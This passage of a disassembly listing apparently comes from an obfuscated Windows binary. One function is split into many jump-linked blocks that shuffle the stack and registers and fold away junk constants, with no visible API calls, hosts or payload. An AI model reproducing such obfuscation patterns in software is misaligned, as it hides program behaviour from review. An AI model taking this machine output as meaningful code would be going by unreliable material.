; ---------------------------------------------------------------------------


loc_5B08D3:				; CODE XREF: sub_58A891+13198j
					; sub_58A891+1C8CAj
		jno	loc_5A6609
		inc	bl
		jmp	loc_5B0C43
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	esi, ebp


loc_5B08E5:				; CODE XREF: sub_58A891+27331j
		mov	esi, [esp+7Ah+var_7A]
		add	esp, 4
		add	edi, ebx
		pop	ebx
		add	edi, 2
		jmp	loc_5AF135
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+72h+var_74+2]
		push	2C6h
		jmp	loc_5AC08C
; ---------------------------------------------------------------------------
		sub	esp, 4
		push	esp
		pop	[esp+7Eh+var_7E]
		push	ebx
		push	ebp
		push	edx
		mov	edx, 4ED23D5Fh
		push	edx
		pop	ebp
		mov	edx, [esp+86h+var_86]
		push	eax
		mov	eax, esp
		push	edx
		jmp	loc_59D6C0
; ---------------------------------------------------------------------------


loc_5B0924:				; CODE XREF: sub_58A891+19D19j
		mov	ebp, [esp+40h+var_40]
		add	esp, 4
		push	edi
		mov	edi, 1
		add	ebx, edi
		jmp	loc_5AD3D7
; ---------------------------------------------------------------------------


loc_5B0937:				; CODE XREF: sub_58A891+181D0j
					; sub_58A891:loc_5A454Aj
		sub	eax, 4
		xor	eax, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], eax
		xor	eax, [esp+0Ah+var_C+2]
		pop	esp
		mov	[esp+6+var_8+2], ebx
		push	[esp+6+var_4+2]
		jmp	loc_5A2882
; ---------------------------------------------------------------------------


loc_5B0952:				; CODE XREF: sub_58A891+23D78j
		inc	edx
		jns	loc_5AD5F5
		shl	edx, 6
		jnp	loc_5AF3F5
		mov	cl, ah
		push	ebx


loc_5B0965:				; CODE XREF: sub_58A891:loc_59C0E8j
		shl	ebp, 6
		jmp	loc_5B15BB
; ---------------------------------------------------------------------------


loc_5B096D:				; CODE XREF: sub_58A891+12449j
		xchg	ebx, [esp+7Ah+var_7A]
		pop	esp


loc_5B0971:				; CODE XREF: sub_58A891+1B41Dj
		sub	esp, 4
		mov	[esp+7Ah+var_7A], ebx
		mov	ebx, esp
		push	eax
		mov	eax, esp
		jmp	loc_5A51CF
; ---------------------------------------------------------------------------


loc_5B0984:				; CODE XREF: sub_58A891+14567j
		mov	eax, 0BDB38DCh
		dec	eax
		jmp	loc_5A9BCC
; ---------------------------------------------------------------------------


loc_5B098F:				; CODE XREF: sub_58A891+1880Fj
		mov	eax, 612F7950h
		jmp	loc_5A186E
; ---------------------------------------------------------------------------


loc_5B0999:				; CODE XREF: sub_58A891+1BDA5j
		add	esp, 4
		jmp	loc_5A4EE1
; ---------------------------------------------------------------------------


loc_5B09A4:				; CODE XREF: sub_58A891+28069j
		xor	ebx, 2C2D6E8Bh
		jmp	loc_5A4263
; ---------------------------------------------------------------------------


loc_5B09AF:				; CODE XREF: sub_58A891+23835j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ecx, 0C926C5Eh
		add	ecx, ebp
		jmp	loc_5AC2DA
; ---------------------------------------------------------------------------


loc_5B09C8:				; CODE XREF: sub_58A891+1F449j
		add	ecx, 4
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		shr	eax, 0Ah
		xor	eax, ecx
		push	edi
		jmp	loc_5A72B7
; ---------------------------------------------------------------------------


loc_5B09DF:				; CODE XREF: sub_58A891+12919j
		push	edx
		mov	eax, [esp+86h+var_86]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_5B1DC5
; ---------------------------------------------------------------------------


loc_5B09F2:				; CODE XREF: sub_58A891+23A05j
		pop	ecx
		mov	ebx, ecx
		mov	ecx, [esp+0B2h+var_B2]
		jmp	loc_5AAE5F
; ---------------------------------------------------------------------------


loc_5B09FD:				; CODE XREF: sub_58A891+1CEB6j
					; sub_58A891+1EEF5j ...
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		mov	ax, [esp+0]
		push	4C34h
		mov	[esp+0], eax
		jmp	loc_59EA3C
; ---------------------------------------------------------------------------


loc_5B0A14:				; CODE XREF: sub_58A891+254AFj
		push	ebp
		mov	ebp, 54EA5F14h
		push	2127h
		mov	[esp-0Eh+arg_4+2], eax
		jmp	loc_5AC708
; ---------------------------------------------------------------------------


loc_5B0A27:				; CODE XREF: sub_58A891+12012j
		mov	[esp+0], ebp
		push	72E2h
		mov	[esp+7Ah+var_7A], ebx
		xor	[esp+7Ah+var_7A], 7CDD0DF1h
		push	[esp+7Ah+var_7A]
		pop	ebp
		push	edi
		push	esp
		jmp	loc_5A3F9C
; ---------------------------------------------------------------------------


loc_5B0A44:				; CODE XREF: sub_58A891:loc_5A57FDj
		shl	ebx, 4
		jmp	loc_5AF877
; ---------------------------------------------------------------------------


loc_5B0A4C:				; CODE XREF: sub_58A891+1BE62j
		xor	esi, [esp+0Ah+var_C+2]
		jmp	loc_5AFCC8
; ---------------------------------------------------------------------------


loc_5B0A54:				; CODE XREF: sub_58A891+2049Bj
		sub	ebx, edi
		pop	edi
		sub	ebx, 6C020253h
		jmp	loc_5B14CE
; ---------------------------------------------------------------------------


loc_5B0A62:				; CODE XREF: sub_58A891+1B4F9j
		push	edx
		jmp	loc_59D966
; ---------------------------------------------------------------------------


loc_5B0A68:				; CODE XREF: sub_58A891+203D2j
		pop	esp
		sub	esp, 4
		mov	[esp-0Ah+arg_0+2], edi
		push	esp
		push	dword ptr [esp+0]
		pop	edi
		jmp	loc_5A65DA
; ---------------------------------------------------------------------------


loc_5B0A79:				; CODE XREF: sub_58A891+236CDj
		push	esi
		mov	esi, 63B31363h
		xor	eax, esi
		mov	esi, [esp+32h+var_34+2]
		add	esp, 4
		not	eax
		xor	eax, 0C2E0545Ah
		push	edx
		mov	edx, 646F35DEh
		jmp	loc_5A3561
; ---------------------------------------------------------------------------
		mov	eax, [esp+32h+var_34+2]
		push	edi
		push	5FE1h
		push	233h
		mov	[esp+3Eh+var_40+2], esp
		add	[esp+3Eh+var_40+2], 4
		pop	[esp+3Eh+var_40+2]
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], ebp
		push	ecx
		mov	ecx, 6AF96906h
		jmp	loc_5AAAD9
; ---------------------------------------------------------------------------


loc_5B0AC2:				; CODE XREF: sub_58A891+20EEEj
		xchg	eax, [esp+4Ah+var_4A]
		mov	esp, [esp+4Ah+var_4A]
		pop	[esp+4Ah+var_4A]
		mov	esp, [esp+46h+var_46]
		jmp	loc_5A14D0
; ---------------------------------------------------------------------------


loc_5B0AD3:				; CODE XREF: sub_58A891+1CF2Aj
		mov	[esp+32h+var_34+2], ecx
		push	0B8A36CCh
		mov	ecx, [esp+36h+var_38+2]
		add	esp, 4
		xor	eax, ecx
		push	[esp+32h+var_34+2]
		pop	ecx
		jmp	loc_5B0266
; ---------------------------------------------------------------------------


loc_5B0AEF:				; CODE XREF: sub_58A891+15F74j
		add	esp, 4
		jmp	loc_5A8202
; ---------------------------------------------------------------------------


loc_5B0AF7:				; CODE XREF: sub_58A891+17BC4j
					; sub_58A891+1A5A4j
		push	29540CB7h
		pop	eax
		shl	eax, 4
		jns	loc_59CABD
		push	ecx
		mov	ecx, 470908F1h
		shr	ecx, 2
		xor	ecx, 8482894Dh
		sub	eax, ecx
		pop	ecx
		mov	ebx, eax
		push	[esp+0A2h+var_A2]
		pop	eax
		push	ebx
		jmp	loc_5AC414
; ---------------------------------------------------------------------------


loc_5B0B24:				; CODE XREF: sub_58A891+25B1Aj
		add	ebx, 135A8A8h
		jmp	loc_5A3A2E
; ---------------------------------------------------------------------------


loc_5B0B2F:				; CODE XREF: sub_58A891+2826Ej
		add	[esp+2+var_4+2], 312C43FFh
		pop	ebp
		sub	ebp, 312C43FFh
		mov	edi, [esp+0]
		add	esp, 4
		sub	eax, ebp
		push	dword ptr [esp+0]
		jmp	loc_5B0310
; ---------------------------------------------------------------------------


loc_5B0B4D:				; CODE XREF: sub_58A891+1F5F6j
		mov	edi, [esp+32h+var_34+2]
		jmp	loc_5A8805
; ---------------------------------------------------------------------------


loc_5B0B55:				; CODE XREF: sub_58A891+1CD8Aj
		sub	esp, 4
		mov	[esp+8Ah+var_8A], ebp
		jmp	loc_5A7473
; ---------------------------------------------------------------------------


loc_5B0B63:				; CODE XREF: sub_58A891+19928j
		pop	esi
		sub	esi, 24A5419h
		add	esi, edx
		jmp	loc_5AB34B
; ---------------------------------------------------------------------------


loc_5B0B71:				; CODE XREF: sub_58A891+19EF3j
		sub	edx, 358C1A2Dh
		push	edi
		mov	edi, 61C415E2h
		push	ecx
		mov	ecx, 0C957909h
		push	edi
		mov	edi, 8F57ECh
		shr	edi, 2
		add	edi, 7EE36AAh
		push	eax
		mov	eax, 0A2C1AF1h
		not	eax
		push	edx
		mov	edx, 3F692125h
		shr	edx, 7
		sub	edx, 0B11A5914h
		add	eax, edx
		pop	edx
		and	edi, eax
		pop	eax
		add	edi, 1A679084h
		add	ecx, edi
		mov	edi, [esp+0D2h+var_D4+2]
		jmp	loc_5AD937
; ---------------------------------------------------------------------------


loc_5B0BBF:				; CODE XREF: sub_58A891+11781j
		add	edi, esi
		sub	edi, 8457Dh
		add	edi, 10C43266h
		pop	esi
		xchg	edi, [esp+6+var_8+2]
		pop	esp
		mov	ax, word ptr [esp+2+var_4+2]
		push	esi
		jmp	loc_5A49FA
; ---------------------------------------------------------------------------


loc_5B0BDC:				; CODE XREF: sub_58A891:loc_5A79B5j
		and	edx, 1D344E38h
		push	edx
		dec	[esp+88h+var_8A+2]
		jmp	loc_5A5441
; ---------------------------------------------------------------------------


loc_5B0BEB:				; CODE XREF: sub_58A891+227FAj
		xor	di, 0B2EDh
		mov	bx, di
		pop	edi
		shl	bx, 7
		sub	bx, 0FFFFh
		shl	bx, 7
		shl	bx, 4
		add	bx, 35D6h
		sub	bx, 2EF9h
		push	bx
		add	word ptr [esp+0], 7F2Ch
		jmp	loc_5A8ACF
; ---------------------------------------------------------------------------


loc_5B0C1B:				; CODE XREF: sub_58A891+17664j
		shr	edi, 5
		jnp	loc_5B1364
		jmp	loc_5A4CDB
; ---------------------------------------------------------------------------


loc_5B0C29:				; CODE XREF: sub_58A891+17612j
		push	4194h
		mov	[esp+84h+var_86+2], ebx
		mov	bh, 5Ch
		xor	dl, bh
		pop	ebx
		dec	dl
		sub	dl, 8Fh
		sub	cl, dl
		pop	edx
		jmp	loc_5AC13B
; ---------------------------------------------------------------------------


loc_5B0C43:				; CODE XREF: sub_58A891+16680j
					; sub_58A891+2604Aj
		neg	ebx
		jmp	loc_5A14FB
; ---------------------------------------------------------------------------


loc_5B0C4A:				; CODE XREF: sub_58A891+12BADj
		pop	edx
		sub	eax, 4
		xchg	eax, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], esi
		jmp	loc_5A433D
; ---------------------------------------------------------------------------


loc_5B0C5C:				; CODE XREF: sub_58A891+23F94j
		mov	[esp+7Ah+var_7A], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+7Eh+var_7A]
		jmp	loc_5A91BE
; ---------------------------------------------------------------------------


loc_5B0C77:				; CODE XREF: sub_58A891+25B42j
		sub	ebx, ecx
		jmp	loc_5AB07E
; ---------------------------------------------------------------------------


loc_5B0C7E:				; CODE XREF: sub_58A891+1570Aj
		push	esp
		pop	ecx
		push	edi
		push	81Ch
		mov	[esp+36h+var_38+2], ecx
		mov	ecx, 4D7E379Fh
		dec	ecx
		jns	loc_59D792
		not	ecx
		jmp	loc_5A1F28
; ---------------------------------------------------------------------------
		mov	ebx, [esp+36h+var_38+2]
		push	esi


loc_5B0CA0:				; CODE XREF: sub_58A891+18EBBj
		pop	ebp
		push	edx
		mov	edx, 6AC7B40h
		sub	eax, edx
		jmp	loc_5AD774
; ---------------------------------------------------------------------------


loc_5B0CAE:				; CODE XREF: sub_58A891+27267j
		mov	edi, 233E3D46h
		add	ebp, edi
		pop	edi
		sub	ebp, esi
		sub	ebp, 233E3D46h
		mov	esi, [esp+36h+var_38+2]
		add	esp, 4
		mov	eax, ebp
		pop	ebp
		push	7B4Dh
		mov	[esp+32h+var_34+2], ebp
		push	32FB561Ch
		push	[esp+36h+var_38+2]
		pop	ebp
		add	esp, 4
		xor	ebp, 784D108Bh
		jmp	loc_5A9177
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+32h+var_34+2]
		sub	esp, 4
		mov	[esp+36h+var_38+2], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5AF190
; ---------------------------------------------------------------------------


loc_5B0D03:				; CODE XREF: sub_58A891+20AAAj
		jp	loc_5A8E51
		and	ebp, 288A44EEh
		jmp	loc_5A0713
; ---------------------------------------------------------------------------


loc_5B0D14:				; CODE XREF: sub_58A891+1DEA9j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		sub	eax, edi
		jmp	loc_5A328C
; ---------------------------------------------------------------------------


loc_5B0D29:				; CODE XREF: sub_58A891+1DE0Cj
		not	edi
		xor	edi, 0C4623E1h
		jmp	loc_5A9A5A
; ---------------------------------------------------------------------------


loc_5B0D36:				; CODE XREF: sub_58A891+1DAC1j
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 1CDD3902h
		sub	esi, 135E2787h
		neg	esi
		shl	esi, 1
		xor	esi, 59346B3Ch
		jmp	loc_59F84E
; ---------------------------------------------------------------------------


loc_5B0D59:				; CODE XREF: sub_58A891+23960j
		xor	eax, 37A9378Eh
		jmp	loc_5A1A18
; ---------------------------------------------------------------------------


loc_5B0D63:				; CODE XREF: sub_58A891+1FCAAj
		or	ebx, 69F64F78h
		xor	ebx, 2CAA31C7h
		sub	ebx, 43554EB6h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_59EEDB
; ---------------------------------------------------------------------------


loc_5B0D83:				; CODE XREF: sub_58A891+1AB4Aj
		xor	ebx, 1AA63DC7h
		jno	loc_5A13A7
		jmp	loc_5A581D
; ---------------------------------------------------------------------------
		xor	eax, edx
		pop	edx
		sub	ebx, eax


loc_5B0D99:				; CODE XREF: sub_58A891+194A4j
		mov	edx, 400h
		push	edx
		mov	ebx, [esp+94h+var_96+2]
		add	esp, 4
		mov	edx, [esp+90h+var_92+2]
		add	esp, 4
		mov	ecx, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_5A1E73
; ---------------------------------------------------------------------------


loc_5B0DB9:				; CODE XREF: sub_58A891+13E47j
					; sub_58A891+28607j
		pop	esp
		pop	[esp+7Ch+var_7E+2]
		pop	esp
		push	5507h
		mov	[esp+78h+var_7A+2], esi
		sub	esp, 4
		mov	[esp+7Ch+var_7E+2], ebp
		push	0C8A267Fh
		pop	ebp
		neg	ebp
		jmp	loc_59CBBA
; ---------------------------------------------------------------------------


loc_5B0DDC:				; CODE XREF: sub_58A891+18E0Ej
					; sub_58A891+242AEj
		xchg	eax, [esp+0C6h+var_C8+2]
		pop	esp
		sub	edx, 0FFFFFFFFh
		jmp	loc_5A9498
; ---------------------------------------------------------------------------


loc_5B0DEB:				; CODE XREF: sub_58A891+130D0j
		add	esi, 4
		jmp	loc_5A8085
; ---------------------------------------------------------------------------


loc_5B0DF6:				; CODE XREF: sub_58A891+1A5CEj
		add	edx, edi
		push	[esp+8Ch+var_8E+2]
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+90h+var_92+2]
		mov	esp, [esp+90h+var_92+2]
		jmp	loc_5A20ED
; ---------------------------------------------------------------------------


loc_5B0E16:				; CODE XREF: sub_58A891+1E7D5j
		pop	edi
		push	ebx
		mov	ebx, 36232160h
		shr	ebx, 6
		shr	ebx, 8
		sub	ebx, 0F2737EDh
		sub	ebx, 0F0D9A09Bh
		add	edi, ebx
		pop	ebx
		push	11DBh
		mov	[esp+8Eh+var_8E], ebp
		mov	ebp, 4
		push	ebx
		mov	ebx, 77685E2Fh
		neg	ebx
		jmp	loc_5A0735
; ---------------------------------------------------------------------------


loc_5B0E4C:				; CODE XREF: sub_58A891+15431j
		add	ecx, 47092A03h
		add	ecx, ebx
		jmp	loc_5AA04D
; ---------------------------------------------------------------------------


loc_5B0E59:				; CODE XREF: sub_58A891+25A4Cj
		or	dh, 0D1h
		push	ax
		mov	al, 32h
		sub	dh, al
		pop	ax
		shr	dh, 1
		shr	dh, 3
		add	dh, 0F5h
		sub	al, dh
		pop	edx
		add	al, bh
		add	al, 1
		push	[esp-2Ah+arg_22]
		pop	ebx
		jmp	loc_59C155
; ---------------------------------------------------------------------------


loc_5B0E7C:				; CODE XREF: sub_58A891+285A1j
		pop	ebp
		xor	eax, edi
		push	[esp-2Eh+arg_26]
		mov	edi, [esp-2Ah+arg_22]
		sub	esp, 4
		mov	[esp-26h+arg_1C+2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-26h+arg_1C+2]
		pop	esp
		jmp	loc_5AA969
; ---------------------------------------------------------------------------


loc_5B0EA2:				; CODE XREF: sub_58A891+24B7Ej
		pop	edx
		sub	eax, 4D916FCEh
		add	eax, 48761AB1h
		push	[esp+32h+var_34+2]
		pop	ebx
		sub	esp, 4
		jmp	loc_5A18E3
; ---------------------------------------------------------------------------


loc_5B0EBC:				; CODE XREF: sub_58A891+27315j
		push	edx
		mov	edx, 67DD73C7h
		add	edx, 465BE50Eh
		jmp	loc_5AD550
; ---------------------------------------------------------------------------


loc_5B0ECD:				; CODE XREF: sub_58A891+26811j
		mov	[esp+3Ah+var_3C+2], edx
		mov	edx, 8F002B8h
		sub	esi, 7B2C2F1Eh
		sub	esi, edx
		push	ecx
		mov	ecx, 39A4393Ch
		jmp	loc_5A148E
; ---------------------------------------------------------------------------


loc_5B0EE8:				; CODE XREF: sub_58A891+158A6j
		add	esp, 4
		add	[esp+74h+var_70], ecx
		push	[esp+74h+var_74]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_5B1F44
; ---------------------------------------------------------------------------


loc_5B0F08:				; CODE XREF: sub_58A891+23A7Dj
		push	edi
		mov	edi, 10D4231Bh
		and	edi, 144268Eh
		shr	edi, 3
		jmp	loc_5A8C87
; ---------------------------------------------------------------------------


loc_5B0F1C:				; CODE XREF: sub_58A891+134CEj
		pop	ebp
		inc	edx
		push	ebx
		mov	ebx, 1
		add	edx, ebx
		pop	ebx
		dec	edx
		sub	edx, 0D8EF269Ch
		jmp	loc_5A1F21
; ---------------------------------------------------------------------------


loc_5B0F33:				; CODE XREF: sub_58A891+12E2Aj
		sub	edx, 1D6139CDh
		pop	ecx
		pop	eax
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		mov	ax, [esp+0]
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 3D8247F0h
		xor	edx, 3D8247F4h
		add	eax, edx
		pop	edx
		jmp	loc_5A366B
; ---------------------------------------------------------------------------


loc_5B0F5C:				; CODE XREF: sub_58A891+16CF8j
		xor	edx, 47F957FEh
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xor	ebx, [esp+7Eh+var_7E]
		jmp	loc_5A7F70
; ---------------------------------------------------------------------------


loc_5B0F73:				; CODE XREF: sub_58A891+1D09Dj
		mov	eax, edi
		mov	edi, [esp+32h+var_34+2]
		add	esp, 4
		jmp	loc_5B1E29
; ---------------------------------------------------------------------------


loc_5B0F80:				; CODE XREF: sub_58A891+14664j
		add	esp, 4
		jmp	loc_5A2486
; ---------------------------------------------------------------------------


loc_5B0F88:				; CODE XREF: sub_58A891+19D47j
		pop	ebp
		push	ebx
		jmp	loc_5A6284
; ---------------------------------------------------------------------------


loc_5B0F8F:				; CODE XREF: sub_58A891:loc_5A524Aj
					; sub_58A891+217E4j
		mov	[esp+82h+var_82], ebp
		mov	ebp, esp
		jmp	loc_5ACBF8
; ---------------------------------------------------------------------------


loc_5B0F99:				; CODE XREF: sub_58A891+18F03j
		mov	ecx, [esp+0AAh+var_AA]
		add	esp, 4
		push	653h
		mov	[esp+0AAh+var_AA], esi
		push	eax
		jmp	loc_59E50F
; ---------------------------------------------------------------------------


loc_5B0FB0:				; CODE XREF: sub_58A891+22E35j
		add	ecx, 53D16644h
		sub	ecx, 82BF65DFh
		sub	edx, 2ABF3C63h
		jmp	loc_5A359C
; ---------------------------------------------------------------------------


loc_5B0FC7:				; CODE XREF: sub_58A891+1C50Bj
		mov	[esp+12h+var_14+2], ecx
		mov	ecx, 7DB46A74h
		jmp	loc_5A927B
; ---------------------------------------------------------------------------


loc_5B0FD4:				; CODE XREF: sub_58A891+1D36Cj
		xchg	edx, [esp-12h+arg_8+2]
		pop	esp
		mov	[esp-16h+arg_E], ecx
		mov	ecx, 1000000h
		and	eax, ecx
		push	[esp-16h+arg_E]
		push	[esp-12h+arg_8+2]
		jmp	loc_5AA91D
; ---------------------------------------------------------------------------


loc_5B0FED:				; CODE XREF: sub_58A891+28748j
		add	esp, 4
		shr	edx, 8
		add	edx, 0EE9B6C5h
		push	ebx
		push	4856h
		mov	[esp-0Ah+arg_0+2], eax
		mov	eax, 610618C4h
		mov	ebx, eax
		pop	eax
		add	eax, ebx
		pop	ebx
		sub	eax, edx
		sub	eax, 610618C4h
		pop	edx
		push	293Bh
		jmp	loc_5B2DE3
; ---------------------------------------------------------------------------


loc_5B101F:				; CODE XREF: sub_58A891+1919Fj
					; sub_58A891+19CC0j
		push	[esp+8Eh+var_8E]
		pop	ebx
		push	ecx
		jmp	loc_5AB52F
; ---------------------------------------------------------------------------


loc_5B1029:				; CODE XREF: sub_58A891+1FE38j
		sub	ebx, 6A23639Eh
		and	ebx, 5BA2660Ch
		push	edi
		mov	edi, 23637125h
		neg	edi
		shr	edi, 2
		dec	edi
		xor	edi, 0B3ABA2BBh
		xor	ebx, edi
		pop	edi
		add	ebp, 3F435A5Ch
		add	ebp, ebx
		sub	ebp, 3F435A5Ch
		jmp	loc_5AAAEA
; ---------------------------------------------------------------------------


loc_5B105D:				; CODE XREF: sub_58A891+1E60Cj
		jno	loc_5A22BB
		inc	bl
		js	loc_5ACB78
		push	ecx
		mov	cl, 7Bh
		pop	edi


loc_5B106F:				; CODE XREF: sub_58A891+19006j
		pop	ecx
		add	edi, eax
		sub	edi, 6625657Ah
		mov	eax, [esp-0Ah+arg_0+2]
		jmp	loc_59FBA5
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp-0Eh+arg_4+2], eax
		pushf
		jmp	loc_5B1E29
; ---------------------------------------------------------------------------


loc_5B108E:				; CODE XREF: sub_58A891+18423j
					; sub_58A891+1BE72j
		pop	eax
		shr	esi, 7
		push	esi
		not	[esp+48h+var_4A+2]
		mov	esi, [esp+48h+var_4A+2]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5B0ECD
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A364F
; ---------------------------------------------------------------------------


loc_5B10AD:				; CODE XREF: sub_58A891+17182j
		sub	bl, al
		jmp	loc_5ACE58
; ---------------------------------------------------------------------------


loc_5B10B4:				; CODE XREF: sub_58A891+1D5D0j
		mov	[esp+6+var_8+2], ebp
		mov	ebp, 3534CBF1h
		xor	esi, ebp
		pop	ebp
		add	eax, 4DCD0F83h
		sub	eax, esi
		push	edx
		mov	edx, 3E791FBDh
		shr	edx, 8
		shl	edx, 4
		not	edx
		xor	edx, 34955302h
		jmp	loc_59F1C0
; ---------------------------------------------------------------------------


loc_5B10DF:				; CODE XREF: sub_58A891+1171Dj
		push	esi
		push	edi
		jmp	loc_5AFD60
; ---------------------------------------------------------------------------


loc_5B10E6:				; CODE XREF: sub_58A891+1C184j
		push	6EFBh
		jmp	loc_5B122C
; ---------------------------------------------------------------------------


loc_5B10F0:				; CODE XREF: sub_58A891+19047j
		mov	edx, 50B20FE2h
		or	esi, edx
		mov	edx, [esp+1Eh+var_20+2]
		add	esp, 4
		add	esi, 5CCA1D16h
		jnz	loc_5AFEB5
		sub	esi, 0AEBC4CD9h
		mov	ebx, esi
		mov	dl, 0FEh
		push	edi


loc_5B1115:				; CODE XREF: sub_58A891+19064j
		sub	esp, 4
		mov	[esp+22h+var_24+2], ebx
		mov	ebx, 4
		push	esi
		mov	esi, 5BF458CAh
		or	esi, 0A6207EFh
		sub	esi, 0ED0C069Fh
		add	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 117346B4h
		not	ebp
		dec	ebp
		sub	ebp, 1
		sub	ebp, 218B519Eh
		shr	ebp, 2
		jmp	loc_5A4B3D
; ---------------------------------------------------------------------------


loc_5B1155:				; CODE XREF: sub_58A891+11F86j
		neg	ecx
		jg	loc_5AD11E
		jmp	loc_5A85A1
; ---------------------------------------------------------------------------


loc_5B1162:				; CODE XREF: sub_58A891+1ABABj
		sub	esp, 4
		mov	[esp+8Ah+var_8A], esp
		add	[esp+8Ah+var_8A], 4
		jmp	loc_5A1836
; ---------------------------------------------------------------------------


loc_5B1174:				; CODE XREF: sub_58A891+1AE81j
		mov	cx, word ptr [esp+36h+var_38+2]
		push	edi
		mov	edi, esp
		jmp	loc_59E3D1
; ---------------------------------------------------------------------------


loc_5B1180:				; CODE XREF: sub_58A891+14733j
		mov	ebx, esi
		pop	esi
		pop	edi
		add	ebp, 55661E90h
		add	ebp, 36FF4CE3h
		add	ebp, ebx
		sub	ebp, 36FF4CE3h
		push	ecx
		jmp	loc_5A8193
; ---------------------------------------------------------------------------


loc_5B119E:				; CODE XREF: sub_58A891+19718j
		add	edi, eax
		push	ebx
		push	ecx
		push	eax
		jmp	loc_5AD21A
; ---------------------------------------------------------------------------


loc_5B11A8:				; CODE XREF: sub_58A891+21181j
		pop	edi
		push	edi
		mov	edi, edx
		mov	eax, edi
		pop	edi
		pop	edx
		jmp	loc_5AD53A
; ---------------------------------------------------------------------------


loc_5B11B5:				; CODE XREF: sub_58A891+1410Aj
		sub	ebp, 557459E6h
		dec	ebp
		add	ebp, 0A2897C0Fh
		add	ebx, ebp
		mov	ebp, [esp+7Ch+var_7E+2]
		add	esp, 4
		push	edi
		jmp	loc_5B0524
; ---------------------------------------------------------------------------


loc_5B11D0:				; CODE XREF: sub_58A891+1481Cj
		add	eax, ecx
		sub	eax, 256252E9h
		mov	ecx, [esp+0BAh+var_BA]
		add	esp, 4
		jmp	loc_5B1AFD
; ---------------------------------------------------------------------------


loc_5B11E5:				; CODE XREF: sub_58A891+12D4Ej
		or	esi, ecx
		jmp	loc_5A676E
; ---------------------------------------------------------------------------


loc_5B11EC:				; CODE XREF: sub_58A891+17D64j
		add	dl, ah
		jmp	loc_5A87F7
; ---------------------------------------------------------------------------


loc_5B11F3:				; CODE XREF: sub_58A891+21549j
		add	[esp+2Ah+var_2C+2], 4
		jmp	loc_5A1615
; ---------------------------------------------------------------------------


loc_5B11FC:				; CODE XREF: sub_58A891+2425Dj
		add	esi, edx
		push	dword ptr [esp+0]
		jmp	loc_5A2976
; ---------------------------------------------------------------------------


loc_5B1206:				; CODE XREF: sub_58A891+1E502j
		xor	ecx, [esp+86h+var_86]
		jmp	loc_5A111F
; ---------------------------------------------------------------------------


loc_5B120E:				; CODE XREF: sub_58A891+15B82j
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		jmp	loc_5A7AFC
; ---------------------------------------------------------------------------


loc_5B121C:				; CODE XREF: sub_58A891+1FB93j
		not	bl
		sub	bl, 32h
		jns	loc_5AD4EB
		jmp	loc_5AB3E9
; ---------------------------------------------------------------------------


loc_5B122C:				; CODE XREF: sub_58A891+2685Aj
		mov	[esp+38h+var_38], ecx
		jmp	loc_5A32BB
; ---------------------------------------------------------------------------


loc_5B1234:				; CODE XREF: sub_58A891+1E928j
		push	ecx
		jmp	loc_5A392A
; ---------------------------------------------------------------------------


loc_5B123A:				; CODE XREF: sub_58A891+23B63j
		mov	esp, [esp+16h+var_18+2]
		dec	[esp+16h+var_18+2]
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B1246:				; CODE XREF: sub_58A891+12564j
		mov	edx, 5F631242h
		add	edx, 581B6B2Ch
		jmp	loc_5A79B5
; ---------------------------------------------------------------------------


loc_5B1256:				; CODE XREF: sub_58A891+20A7Bj
		pop	esp
		sub	esp, 4
		jmp	loc_5AFD3D
; ---------------------------------------------------------------------------


loc_5B1262:				; CODE XREF: sub_58A891:loc_5A498Ej
		dec	ch
		jmp	loc_5A6EB4
; ---------------------------------------------------------------------------


loc_5B1269:				; CODE XREF: sub_58A891:loc_5A85B5j
		or	edi, 3064136Ah
		jl	loc_5A37B7
		sub	edi, 1DC30149h
		jl	loc_5A404D
		dec	edi
		jl	loc_5ADEF6
		jmp	loc_5A4E3A
; ---------------------------------------------------------------------------


loc_5B128D:				; CODE XREF: sub_58A891+23D18j
		mov	esi, [esp+1Eh+var_20+2]
		jmp	loc_5A591D
; ---------------------------------------------------------------------------


loc_5B1295:				; CODE XREF: sub_58A891+24F12j
		mov	eax, 4DE7D5BDh
		sub	edx, eax
		jmp	loc_5ABC03
; ---------------------------------------------------------------------------


loc_5B12A1:				; CODE XREF: sub_58A891+27FB2j
		pop	ebp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebx
		jmp	loc_5A8670
; ---------------------------------------------------------------------------


loc_5B12B1:				; CODE XREF: sub_58A891:loc_5A5441j
		not	ch
		not	ch
		shl	ch, 8
		jmp	loc_5A85A6
; ---------------------------------------------------------------------------


loc_5B12BD:				; CODE XREF: sub_58A891+125FDj
					; sub_58A891+1ECB0j
		pop	[esp+78h+var_7A+2]
		add	[esp+74h+var_74], 4
		pop	eax
		push	ebp
		mov	ebp, 4
		jmp	loc_5A6B1F
; ---------------------------------------------------------------------------


